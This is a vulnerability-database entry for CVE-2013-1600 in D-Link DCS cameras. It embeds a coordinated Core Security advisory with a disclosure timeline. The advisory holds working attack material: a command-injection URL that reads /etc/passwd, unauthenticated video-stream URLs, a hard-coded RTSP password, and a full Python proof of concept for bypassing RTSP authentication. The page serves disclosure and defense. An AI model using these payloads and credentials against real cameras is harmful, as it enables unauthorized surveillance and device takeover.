Vulnerabilities > CVE-2013-1600 - Improper Authentication vulnerability in Dlink Dcs-2102 Firmware and Dcs-2121 Firmware
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
LOW Integrity impact
NONE Availability impact
NONE Summary
An Authentication Bypass vulnerability exists in upnp/asf-mp4.asf when streaming live video in D-Link TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-2121 1.06_FR, 1.06, and 1.05_RU, DCS-2102 1.06_FR. 1.06, and 1.05_RU, which could let a malicious user obtain sensitive information.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 4 | |
Hardware | 2 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Authentication Abuse An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Utilizing REST's Trust in the System Resource to Register Man in the Middle This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
- Man in the Middle Attack This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.
Exploit-Db
description | D-Link IP Cameras - Multiple Vulnerabilities. CVE-2013-1599,CVE-2013-1600,CVE-2013-1601,CVE-2013-1602,CVE-2013-1603. Webapps exploit for hardware platform |
id | EDB-ID:25138 |
last seen | 2016-02-03 |
modified | 2013-05-01 |
published | 2013-05-01 |
reporter | Core Security |
source | https://www.exploit-db.com/download/25138/ |
title | D-Link IP Cameras - Multiple Vulnerabilities |
Packetstorm
data source | https://packetstormsecurity.com/files/download/121452/CORE-2013-0303.txt |
id | PACKETSTORM:121452 |
last seen | 2016-12-05 |
published | 2013-04-29 |
reporter | Core Security Technologies |
source | https://packetstormsecurity.com/files/121452/D-Link-IP-Cameras-Injection-Bypass.html |
title | D-Link IP Cameras Injection / Bypass |
Seebug
bulletinFamily | exploit |
description | Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ D-Link IP Cameras Multiple Vulnerabilities 1. *Advisory Information* Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release 2. *Vulnerability Information* Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603 3. *Vulnerability Description* Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker: 1. [CVE-2013-1599] to execute arbitrary commands from the administration web interface, 2. [CVE-2013-1600] to access the video stream via HTTP, 3. [CVE-2013-1601] to access the ASCII video stream via image luminance, 4. [CVE-2013-1602] to access the video stream via RTSP, 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials. 4. *Vulnerable Packages* The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked. [CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02 [CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO [CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02 [CVE-2013-1602] . ALL mentioned devices and firmware. 5. *Vendor Information, Solutions and Workarounds* D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information. 6. *Credits* [CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team. [CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team. [CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *OS Command Injection* [CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi': ``` echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')" ``` The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute: ``` uname -a;cat /etc/passwd ``` the following request can be sent to the camera web interface: ``` http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd ``` 7.2. *Authentication Bypass* [CVE-2013-1600] The live video stream can be accessed without authentication by a remote attacker via the following request: http://192.168.1.100/upnp/asf-mp4.asf 7.3. *ASCII Video Stream Information Leak* [CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via: http://192.168.1.100/md/lums.cgi The following example is the output of a coffee pot video stream [2]: ``` O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . . . . . . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . . o o o o o o O O O O O O O O . . o o o o o o o o O O O O O O O . . o O O o . . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . . . . . o o o o o o o o o O O O O O O o O O O O O O O . . . o . . . o o o o o o o o O O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o O O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o O O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o O O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o O O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o O O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o O O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o O O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o O O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o O O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o O O O O O O O O O O . . . o o o . o . . o O o . . . . . . o O O O O O O O O O . . o o o . o . . . O o . . . o o O O O O O O O O o . o o o . o . . . O o . . o o o O O O O O O O o . o o o . o . . . O o . ``` 7.4. *RTSP Authentication Bypass* [CVE-2013-1602] This vulnerability is triggered because: 1. Authentication is only present in DESCRIBE requests but not in every subsequent request. 2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker. ``` import sys from socket import * from threading import Thread import time, re LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return '' class DLink(Camera): # D-Link DCS-2102/1.06-5731 def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a' class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass return data if __name__ == '__main__': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' ``` 7.5. *RTSP Hard-Coded Credentials* [CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream. /----- username: (any) password: ?* -----/ As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd': /----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/ 8. *Report Timeline* . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. . 2013-03-20: D-Link team asks for a technical description of the vulnerability. . 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. . 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). . 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. . 2013-03-29: Vendor notifies that they hope to close the fix ASAP. . 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). . 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. . 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. . 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. . 2013-04-29: Advisory CORE-2013-0303 published. 9. *References* [1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. |
id | SSV:78805 |
last seen | 2017-11-19 |
modified | 2014-07-01 |
published | 2014-07-01 |
reporter | Root |
title | D-Link IP Cameras Multiple Vulnerabilities |